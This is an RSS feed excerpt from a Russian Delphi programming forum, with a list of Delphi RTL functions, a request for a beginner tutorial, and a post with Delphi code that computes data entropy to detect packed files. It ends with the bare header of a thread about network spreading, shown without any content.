Изменяет расширение имени файла &lt;br /&gt; System 	 	Chr 	 	Конвертирует целое число в символ &lt;br /&gt; SysUtils 	 	CompareStr 	 	Сравнивает две строки, чтобы увидеть, какая из них больше &lt;br /&gt; SysUtils 	 	CompareText 	 	Сравнивает две строки, игнорируя регистр &lt;br /&gt; System 	 	Concat 	 	Соединяет несколько строк в одну &lt;br /&gt; ConvUtils 	 	Convert 	 	Преобразует одну величину измерения в другую &lt;br /&gt; System 	 	Copy 	 	Создает копию части строки или части массива &lt;br /&gt; System 	 	Cos 	 	Косинус числа &lt;br /&gt; SysUtils 	 	CreateDir 	 	Создаёт директорию &lt;br /&gt; SysUtils 	 	CurrToStr 	 	Преобразует денежную величину в строку &lt;br /&gt; SysUtils 	 	CurrToStrF 	 	Преобразует денежную величину в строку с форматированием &lt;br /&gt; SysUtils 	 	Date 	 	Возвращает текущую дату &lt;br /&gt; SysUtils 	 	DateTimeToFileDate 	 	Преобразует значение TDateTime в формат date/time формат файла &lt;br /&gt; SysUtils 	 	DateTimeToStr 	 	Конвертирует значение даты и времени TDateTime в строку &lt;br /&gt; SysUtils 	 	DateToStr 	 	Преобразует значение даты TDateTime в строку &lt;br /&gt; DateUtils 	 	DayOfTheMonth 	 	Дает день месяца для значения TDateTime (ISO 8601) &lt;br /&gt; DateUtils 	 	DayOfTheWeek 	 	Возвращает индекс дня недели для значения TDateTime (ISO 8601) &lt;br /&gt; DateUtils 	 	DayOfTheYear 	 	Выдает день года для значения TDateTime (ISO 8601) &lt;br /&gt; SysUtils 	 	DayOfWeek 	 	Выдает индекс дня недели для значения TDateTime &lt;br /&gt; DateUtils 	 	DaysBetween 	 	Выдает целый число дней между 2 датами &lt;br /&gt; DateUtils 	 	DaysInAMonth 	 	Выдает число дней в месяце &lt;br /&gt; DateUtils 	 	DaysInAYear 	 	Выдает число дней в году &lt;br /&gt; DateUtils 	 	DaySpan 	 	Выдает дробное число дней между 2 датами &lt;br /&gt; Math 	 	DegToRad 	 	Преобразование значения градусов в радианы &lt;br /&gt; SysUtils 	 	DeleteFile 	 	Удаляет файл, указанный в параметре &lt;br /&gt; SysUtils 	 	DirectoryExists 	 	Возвращает true, если указанная директория существует &lt;br /&gt; SysUtils 	 	DiskFree 	 	Выдает число свободных байтов на указанном диске &lt;br /&gt; SysUtils 	 	DiskSize 	 	Выдает размер указанного диска в байтах &lt;br /&gt; StrUtils 	 	DupeString 	 	Создает строку, содержащую копии подстроки &lt;br /&gt; SysUtils 	 	EncodeDate 	 	Формирует значение TDateTime из значений года, месяца и дня &lt;br /&gt; DateUtils 	 	EncodeDateTime 	 	Формирует значение TDateTime из значений времени и дня &lt;br /&gt; SysUtils 	 	EncodeTime 	 	Формирует значение TDateTime из значений часа, минуты, секунды и миллисеккунды &lt;br /&gt; DateUtils 	 	EndOfADay 	 	Генерирует значение TDateTime, установленное на самый конец дня &lt;br /&gt; DateUtils 	 	EndOfAMonth 	 	Генерация значения TDateTime, установленное на самый конец месяца &lt;br /&gt; System 	 	Eof 	 	Возвращает true, если позиция курсора находится в конце файла открытого с помощью Reset &lt;br /&gt; System 	 	Eoln 	 	Возвращает true, если позиция курсора находится в конце строки &lt;br /&gt; System 	 	Exp 	 	Выдаёт экспоненту числа &lt;br /&gt; SysUtils 	 	ExtractFileDir 	 	Иизвлекает из полного имени файла название папки &lt;br /&gt; SysUtils 	 	ExtractFileDrive 	 	Извлекает из полного имени файла название диска &lt;br /&gt; SysUtils 	 	ExtractFileExt 	 	Извлекает из полного имени файла его расширение &lt;br /&gt; SysUtils 	 	ExtractFileName 	 	Извлекает из полного имени файла краткое имя файла &lt;br /&gt; SysUtils 	 	ExtractFilePath 	 	Извлекает из полного имени файла название патча &lt;br /&gt; StdConvs 	 	FahrenheitToCelsius 	 	Конвертирует температуру из Фаренгейта в Цельсий &lt;br /&gt; SysUtils 	 	FileAge 	 	Получение датя/время последнего изменения файла, не открывая его &lt;br /&gt; SysUtils 	 	FileDateToDateTime 	 	Конвертирует формат даты/времени файла в значение TDateTime &lt;br /&gt; SysUtils 	 	FileExists 	 	Возвращает True если указанный файл существует &lt;br /&gt; SysUtils 	 	FileGetAttr 	 	Выдаёт атрибуты файла &lt;br /&gt; System 	 	FilePos &lt;br /&gt; SysUtils 	 	FileSearch 	 	Поиск файла в одной или более папках &lt;br /&gt; SysUtils 	 	FileSetAttr 	 	Устанавливает атрибуты файла &lt;br /&gt; System 	 	FileSetDate 	 	Установка даты и времени последнего изменения файла &lt;br /&gt; System 	 	FileSize 	 	Выдает размер открытого файла в записях &lt;br /&gt; SysUtils 	 	FindClose 	 	Закрывает успешный FindFirst поиск файла &lt;br /&gt; SysUtils 	 	FindCmdLineSwitch 	 	Определяет, был передан некоторый параметр выключатель &lt;br /&gt; SysUtils 	 	FindFirst 	 	Находит все файлы, соответствующие маске файла и атрибутов &lt;br /&gt; SysUtils 	 	FindNext 	 	Находит следующий файл после успешного FindFirst &lt;br /&gt; SysUtils 	 	FloatToStr 	 	Преобразует значение с плавающей запятой в строку &lt;br /&gt; SysUtils 	 	FloatToStrF 	 	Преобразует значение с плавающей запятой в строку с форматированием &lt;br /&gt; SysUtils 	 	ForceDirectories 	 	Создаёт новый путь каталогов &lt;br /&gt; SysUtils 	 	Format 	 	Богатое форматирование чисел и текста в строке &lt;br /&gt; SysUtils 	 	FormatCurr 	 	Богатое форматирование значений валюты в строку &lt;br /&gt; SysUtils 	 	FormatDateTime 	 	Богатое форматирование переменной TDateTime в строку &lt;br /&gt; SysUtils 	 	FormatFloat 	 	Богатое форматирование числа с плавающей запятой в строку &lt;br /&gt; System 	 	Frac 	 	Дробная часть числа с плавающей запятой &lt;br /&gt; SysUtils 	 	GetCurrentDir 	 	Возвращает текущий каталог (диск плюс каталог) &lt;br /&gt; System 	 	GetLastError 	 	Выдаёт код ошибки последнего неудачного Windows API вызова. &lt;br /&gt; System 	 	GetMem 	 	Получает указанное число байтов памяти. &lt;br /&gt; System 	 	Hi 	 	Возвращает байт старшего разряда от типа Integer. &lt;br /&gt; System 	 	High 	 	Возвращает самое высокое значение типа или переменной &lt;br /&gt; DateUtils 	 	IncDay 	 	Приращивает переменную типа TDateTime на + или - число дней &lt;br /&gt; DateUtils 	 	IncMillisecond 	 	Приращивает переменную типа TDateTime на + или - число миллисекунд &lt;br /&gt; DateUtils 	 	IncMinute 	 	Приращивает переменную типа TDateTime на + или - число минут. &lt;br /&gt; SysUtils 	 	IncMonth 	 	Увеличивает TDateTime переменную на некоторое число месяцев &lt;br /&gt; DateUtils 	 	IncSecond 	 	Приращивает переменную типа TDateTime на + или - число секунд &lt;br /&gt; DateUtils 	 	IncYear 	 	Увеличивает TDateTime переменную на количество лет &lt;br /&gt; Dialogs 	 	InputBox 	 	Отображает диалог, который просит пользователя о вводе текста, со значением по умолчанию &lt;br /&gt; Dialogs 	 	InputQuery 	 	Отображает диалог, который просит пользователя о вводе текста &lt;br /&gt; System 	 	Int 	 	Целая часть числа с плавающей точкой &lt;br /&gt; SysUtils 	 	IntToHex 	 	Преобразует целое число в шестнадцатеричную строку &lt;br /&gt; SysUtils 	 	IntToStr 	 	Конвертирует целое число в строку &lt;br /&gt; System 	 	IOResult 	 	Содержит возвращаемый код последней операции ввода/вывода &lt;br /&gt; Math 	 	IsInfinite 	 	Проверяет, является ли число с плавающей запятой бесконечным &lt;br /&gt; SysUtils 	 	IsLeapYear 	 	Возвращает True, если данный календарный год високосный &lt;br /&gt; System 	 	IsMultiThread 	 	Возвращает True, если код выполняет множество потоков &lt;br /&gt; Math 	 	IsNaN 	 	Выясняет, содержит ли число с плавающей запятой настоящее число &lt;br /&gt; SysUtils 	 	LastDelimiter 	 	Находит последнюю позицию указанных символов в строке &lt;br /&gt; System 	 	Length 	 	Возвращает число элементов в массиве или строке &lt;br /&gt; System 	 	Ln 	 	Выдает натуральный логарифм числа &lt;br /&gt; System 	 	Lo 	 	Возвращает младший байт целого числа (2-байтового) &lt;br /&gt; Math 	 	Log10 	 	Вычисляет логарифм числа с основанием 10 &lt;br /&gt; System 	 	Low 	 	Возвращает самое низкое значение типа или переменной &lt;br /&gt; SysUtils 	 	LowerCase 	 	Изменяет символы верхнего регистра в строке в строчные буквы &lt;br /&gt; Math 	 	Max 	 	Выдает максимальное число из двух целых значений &lt;br /&gt; Math 	 	Mean 	 	Выдает среднее число из набора чисел &lt;br /&gt; Dialogs 	 	MessageDlg 	 	Отображает сообщение, знак и выбираемые кнопки &lt;br /&gt; Dialogs 	 	MessageDlgPos 	 	Отображает сообщение и кнопки в заданной позиции экрана &lt;br /&gt; Math 	 	Min 	 	Выдает минимальное из двух целых значений &lt;br /&gt; DateUtils 	 	MonthOfTheYear 	 	Выдает месяц года для значения TDateTime &lt;br /&gt; SysUtils 	 	Now 	 	Выдает текущую дату и время &lt;br /&gt; System 	 	Odd 	 	Провеяет, является ли целое число нечетным &lt;br /&gt; System 	 	Ord 	 	Порядковое значение целого числа, символа или перечисления &lt;br /&gt; System 	 	ParamCount 	 	Выдает число параметров переданной текущей программе &lt;br /&gt; System 	 	ParamStr 	 	Возвращается один из параметров используемых для запуска текущей программы &lt;br /&gt; System 	 	Pi 	 	Математическая константа &lt;br /&gt; Classes 	 	Point 	 	Генерирует значение TPoint из значений X и Y &lt;br /&gt; Classes 	 	PointsEqual 	 	Сравнивает два значения TPoint на предмет равенства &lt;br /&gt; System 	 	Pos 	 	Находит позицию одной строки в другой &lt;br /&gt; System 	 	Pred 	 	Уменьшает порядковую переменную &lt;br /&gt; Printer 	 	Возвращает ссылку к глобальному объекту Printer &lt;br /&gt; Dialogs 	 	PromptForFileName 	 	Показывает диалог, позволяющий пользователю выбрать файл &lt;br /&gt; Types 	 	PtInRect 	 	Проверяет, находится ли точка в пределах прямоугольника &lt;br /&gt; Math 	 	RadToDeg 	 	Преобразовывает значение радиана в градусы &lt;br /&gt; System 	 	Random 	 	Генерирует случайное целое число или число с плавающей запятой &lt;br /&gt; Math 	 	RandomRange 	 	Генерирует произвольное число в пределах введённого диапазона &lt;br /&gt; DateUtils 	 	RecodeDate 	 	Изменяет только дату переменной TDateTime &lt;br /&gt; DateUtils 	 	RecodeTime 	 	Изменяет только время переменной TDateTime &lt;br /&gt; Classes 	 	Rect 	 	Создаёт величину TRect с указанием 2 точек или 4 координат &lt;br /&gt; SysUtils 	 	RemoveDir 	 	Позволяет удалить директорию &lt;br /&gt; SysUtils 	 	Rename 	 	Переименовка фала &lt;br /&gt; SysUtils 	 	RenameFile 	 	Переименование файла или директории &lt;br /&gt; System 	 	Round 	 	Округление чисел с плавающей запятой до целого числа &lt;br /&gt; System 	 	RunError 	 	Заканчивает программу с диалогом ошибки &lt;br /&gt; System 	 	SeekEof 	 	Пропускает символы, пока не встретится конец файла &lt;br /&gt; System 	 	SeekEoln 	 	Пропускает символы, пока не встретится конец текущей строки или файла &lt;br /&gt; FileCtrl 	 	SelectDirectory 	 	Выводит диалоговое окно, с помощью которого пользователь может выбрать директорию &lt;br /&gt; SysUtils 	 	SetCurrentDir 	 	Изменяет текущую директорию &lt;br /&gt; System 	 	Sin 	 	Синус числа &lt;br /&gt; System 	 	SizeOf 	 	Возвращает занимаемый размер типа или переменной в байтах &lt;br /&gt; System 	 	Slice 	 	Создает часть массива с параметром &quot;Открытый Массив&quot; &lt;br /&gt; System 	 	Sqr 	 	Возвращает квадрат числа &lt;br /&gt; System 	 	Sqrt 	 	Возвращает квадратный корень числа &lt;br /&gt; System 	 	StringOfChar 	 	Создает строку из одного символа, повторенного много раз &lt;br /&gt; System 	 	StringReplace 	 	Заменяет одну или несколько подстрок, найденных в заданной строке &lt;br /&gt; System 	 	StringToWideChar 	 	Преобразует обычную строку в WideChar-буфер с завершающим 0 &lt;br /&gt; SysUtils 	 	StrScan 	 	Ищет заданные символы в строке &lt;br /&gt; SysUtils 	 	StrToCurr 	 	Преобразует числовую строку в денежное выражение &lt;br /&gt; SysUtils 	 	StrToDate 	 	Конвертирует строку с датой в значение типа TDateTime &lt;br /&gt; SysUtils 	 	StrToDateTime 	 	Конвертирует строку с датой и временем в значение типа TDateTime &lt;br /&gt; SysUtils 	 	StrToFloat 	 	Преобразует числовую строку в значение с плавающей запятой &lt;br /&gt; SysUtils 	 	StrToInt 	 	Преобразует строку с целым значением в Integer &lt;br /&gt; SysUtils 	 	StrToInt64 	 	Преобразует строку с целым значением в Int64 &lt;br /&gt; SysUtils 	 	StrToInt64Def 	 	Преобразует строку с целым значением в Int64, учитывая значение по умолчанию &lt;br /&gt; SysUtils 	 	StrToIntDef 	 	Преобразует строку с значение с типом Integer, учитывая значение по умолчанию &lt;br /&gt; StrUtils 	 	StrToTime 	 	Конвертирует строку с временем в значение с типом TDateTime &lt;br /&gt; StrUtils 	 	StuffString 	 	Заменяет часть одной строки на другую &lt;br /&gt; StrUtils 	 	Succ 	 	Инкрементирует порядковую переменную &lt;br /&gt; Math 	 	Sum 	 	Находит сумму элементов массива, состоящего из чисел с плавающей точкой &lt;br /&gt; Math 	 	Tan 	 	Тангенс числа &lt;br /&gt; SysUtils 	 	Time 	 	Возвращает текущее время &lt;br /&gt; SysUtils 	 	TimeToStr 	 	Конвертирует значение времени типа TDateTime в строку &lt;br /&gt; DateUtils 	 	Tomorrow 	 	Возвращает дату завтрашнего дня &lt;br /&gt; SysUtils 	 	Trim 	 	Удаляет начальные и конечные пробелы в строке &lt;br /&gt; SysUtils 	 	TrimLeft 	 	Удаляет начальные пробелы в строке &lt;br /&gt; SysUtils 	 	TrimRight 	 	Удаляет конечные пробелы в строке &lt;br /&gt; System 	 	Trunc 	 	Целая часть числа с плавающей запятой &lt;br /&gt; System 	 	UpCase 	 	Преобразует значение Char к верхнему регистру &lt;br /&gt; SysUtils 	 	UpperCase 	 	Изменяет символы в строке из нижнего регистра в верхний &lt;br /&gt; Variants 	 	VarType 	 	Возвращает текущий тип Variant переменной &lt;br /&gt; System 	 	WideCharToString 	 	Копирует строку WideChar, заканчивающуюся нулём, в нормальную строку &lt;br /&gt; SysUtils 	 	WrapText 	 	Добавьте перенос строки в строку, чтобы имитировать перенос слов &lt;br /&gt; DateUtils 	 	Yesterday 	 	Выдает вчерашнюю дату&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/22-51-1</guid>
</item>
<item>
<title>Помогите</title>
<link>https://delfcode.ru/forum/22-904-1</link>
<pubDate>Thu, 15 Nov 2012 11:53:04 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Посоветуйте хороший самоучитель по делфи 7&lt;br /&gt;Автор темы: pascal&lt;br /&gt;Автор последнего сообщения: GReIIIHuK&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Люде помогите .Дайте ссылку на самоучитель по делфи для чайников &lt;img src=&quot;http://s5.ucoz.net/sm/23/wink.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;wink&quot; /&gt;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>pascal</dc:creator>
<guid>https://delfcode.ru/forum/22-904-1</guid>
</item>
<item>
<title>Расчет энтропии.</title>
<link>https://delfcode.ru/forum/22-810-1</link>
<pubDate>Fri, 21 Sep 2012 10:52:49 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Delphi.&lt;br /&gt;Автор темы: Волк-1024&lt;br /&gt;Автор последнего сообщения: Волк-1024&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>В общем я когда-то перерыл и перелопатил весь инет и так и не нашёл толковой информации по этой теме, особенно на Delphi. &lt;img src=&quot;http://s5.ucoz.net/sm/23/sad.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;sad&quot; /&gt; &lt;br /&gt; И тут я, значит, брожу по гуглу и ищу инфу по одной теме и случайно тыкаю не на ту ссылку. И попадаю на известный блог: &lt;a class=&quot;link&quot; href=&quot;http://u.to/ZhYoAg&quot; title=&quot;http://www.manhunter.ru/assembler/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.manhunter.ru/assembler/&lt;/a&gt; И что я вижу! &quot;Расчет энтропии на Ассемблере&quot; и думаю: &quot;Там, наверное, килотонны кода&quot;. Открываю и охреневаю от компактности кода. Дальше я быстро принимаюсь переписывать его на Delphi. Благо моих скромных познаний асма на это хватило. &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;br /&gt;&lt;br /&gt; Вот по этой формуле ведётся расчёт (Хотя я в математике дуб-дубом) &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;br /&gt;&lt;br /&gt; &lt;img src=&quot;http://www.manhunter.ru/upload/3c/81/3c81d89c9adaf1325c8d698a16864430.gif&quot; border=&quot;0&quot; alt=&quot;&quot;/&gt; &lt;br /&gt;&lt;br /&gt; А вот и сам код: &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function CalcMemoryEntropy(const Memory: Pointer; Size: Cardinal&amp;#41;: Extended; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Prob, Log2: Extended; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;I, Sum, Chr: Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Code: array&amp;#91;0..255] of Byte; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (Memory=nil&amp;#41;or(Size=0&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for I:=0 to(Length(Code&amp;#41;-1&amp;#41; do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Code&amp;#91;I]:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;I:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sum:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (Cardinal(I&amp;#41;&lt;Size&amp;#41; do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Chr:=(Cardinal(PChar(Memory&amp;#41;&amp;#91;I]&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Inc(Code&amp;#91;Chr]&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Inc(Sum&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Inc(I&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Log2:=Math.Log2(2.0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for I:=0 to(Length(Code&amp;#41;-1&amp;#41; do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (Code&amp;#91;I]&gt;0&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Prob:=Code&amp;#91;I]/Sum;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// P(i&amp;#41; = SUM(i&amp;#41;/total &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=(Result-(Prob*(Math.Log2(Prob&amp;#41;&amp;#41;/Log2&amp;#41;&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;// H(i&amp;#41; = -P(i&amp;#41;*log2(P(i&amp;#41;&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; Как видим, код получился достаточно простым. &lt;br /&gt;&lt;br /&gt; Вот расчет для строки: &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function CalcStringEntropy(Str: string&amp;#41;: Extended; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=CalcMemoryEntropy(PChar(Str&amp;#41;, (Length(Str&amp;#41;&amp;#41;&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; И примеры: &lt;br /&gt;&lt;br /&gt; Без округлений энтропии: &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;MessageBox(0, PChar(FloatToStr(CalcStringEntropy(&apos;123456789&apos;&amp;#41;&amp;#41;&amp;#41;, nil, 0&amp;#41;;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; И с округлением до двух чисел после запятой: &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;MessageBox(0, PChar(FormatFloat(&apos;#.##&apos;, CalcStringEntropy(&apos;123456789&apos;&amp;#41;&amp;#41;&amp;#41;, nil, 0&amp;#41;;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; В первом случае результат будет: 3.169925000144231, а во втором 3.17. &lt;br /&gt;&lt;br /&gt; Для чего это нужно и кому это надо? Это пригодится, например, для определения пакованности файла (как это делает PeID или DiE) и т.д. &lt;br /&gt;&lt;br /&gt; P.S. Для вычисления энтропии файла достаточно немного изменить код. &lt;br /&gt; P.S.S. Информация по теме: &lt;a class=&quot;link&quot; href=&quot;http://u.to/_xcoAg&quot; title=&quot;http://ru.wikipedia.org/wiki/%C8%ED%F4%EE%F0%EC%E0%F6%E8%EE%ED%ED%E0%FF_%FD%ED%F2%F0%EE%EF%E8%FF&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Wikipedia&lt;/a&gt; &lt;br /&gt;&lt;br /&gt; &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;br /&gt;&lt;br /&gt; ------------------------------------------------------------- &lt;br /&gt; Забыл сказать. Для работы требуется модуль Math.</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>Волк-1024</dc:creator>
<guid>https://delfcode.ru/forum/22-810-1</guid>
</item>
<item>
<title>Распостраняемся по сети</title>
<link>https://delfcode.ru/forum/22-243-1</link>
<pubDate>Sun, 19 Aug 2012 03:24:34 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: бомбим ip&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: cool1&lt;br /&gt;Количество ответов: 10</description>
